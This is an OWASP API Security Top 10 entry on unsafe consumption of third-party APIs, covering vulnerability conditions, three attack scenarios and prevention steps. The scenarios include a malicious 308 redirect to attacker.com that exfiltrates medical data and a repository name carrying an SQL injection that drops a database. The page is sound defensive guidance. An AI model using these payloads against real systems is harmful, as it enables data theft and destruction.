API10:2023 Unsafe Consumption of APIs

Threat agents/Attack vectors	Security Weakness	Impacts
API Specific : Exploitability **Easy**	Prevalence **Common** : Detectability **Average**	Technical **Severe** : Business Specific
Exploiting this issue requires attackers to identify and potentially compromise other APIs/services the target API integrated with. Usually, this information is not publicly available or the integrated API/service is not easily exploitable.	Developers tend to trust and not verify the endpoints that interact with external or third-party APIs, relying on weaker security requirements such as those regarding transport security, authentication/authorization, and input validation and sanitization. Attackers need to identify services the target API integrates with (data sources) and, eventually, compromise them.	The impact varies according to what the target API does with pulled data. Successful exploitation may lead to sensitive information exposure to unauthorized actors, many kinds of injections, or denial of service.

Is the API Vulnerable?

Developers tend to trust data received from third-party APIs more than user input. This is especially true for APIs offered by well-known companies. Because of that, developers tend to adopt weaker security standards, for instance, in regards to input validation and sanitization.

The API might be vulnerable if:

- Interacts with other APIs over an unencrypted channel;
- Does not properly validate and sanitize data gathered from other APIs prior to processing it or passing it to downstream components;
- Blindly follows redirections;
- Does not limit the number of resources available to process third-party services responses;

- Does not implement timeouts for interactions with third-party services;

Example Attack Scenarios

Scenario #1

An API relies on a third-party service to enrich user provided business addresses. When an address is supplied to the API by the end user, it is sent to the third-party service and the returned data is then stored on a local SQL-enabled database.

Bad actors use the third-party service to store an SQLi payload associated with a business created by them. Then they go after the vulnerable API providing specific input that makes it pull their "malicious business" from the third-party service. The SQLi payload ends up being executed by the database, exfiltrating data to an attacker's controlled server.

Scenario #2

An API integrates with a third-party service provider to safely store sensitive user medical information. Data is sent over a secure connection using an HTTP request like the one below:

```
POST /user/store_phr_record
{
  "genome": "ACTAGTAG__TTGADDAAIICCTT..."
}
```

Bad actors found a way to compromise the third-party API and it starts responding with a `308 Permanent Redirect` to requests like the previous one.

```
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/
```

Since the API blindly follows the third-party redirects, it will repeat the exact same request including the user's sensitive data, but this time to the attacker's server.

Scenario #3

An attacker can prepare a git repository named `'; drop db;--`.

Now, when an integration from an attacked application is done with the malicious repository, SQL injection payload is used on an application that builds an SQL query believing the repository's name is safe input.

How To Prevent

- When evaluating service providers, assess their API security posture.
- Ensure all API interactions happen over a secure communication channel (TLS).
- Always validate and properly sanitize data received from integrated APIs before using it.
- Maintain an allowlist of well-known locations integrated APIs may redirect yours to: do not blindly follow redirects.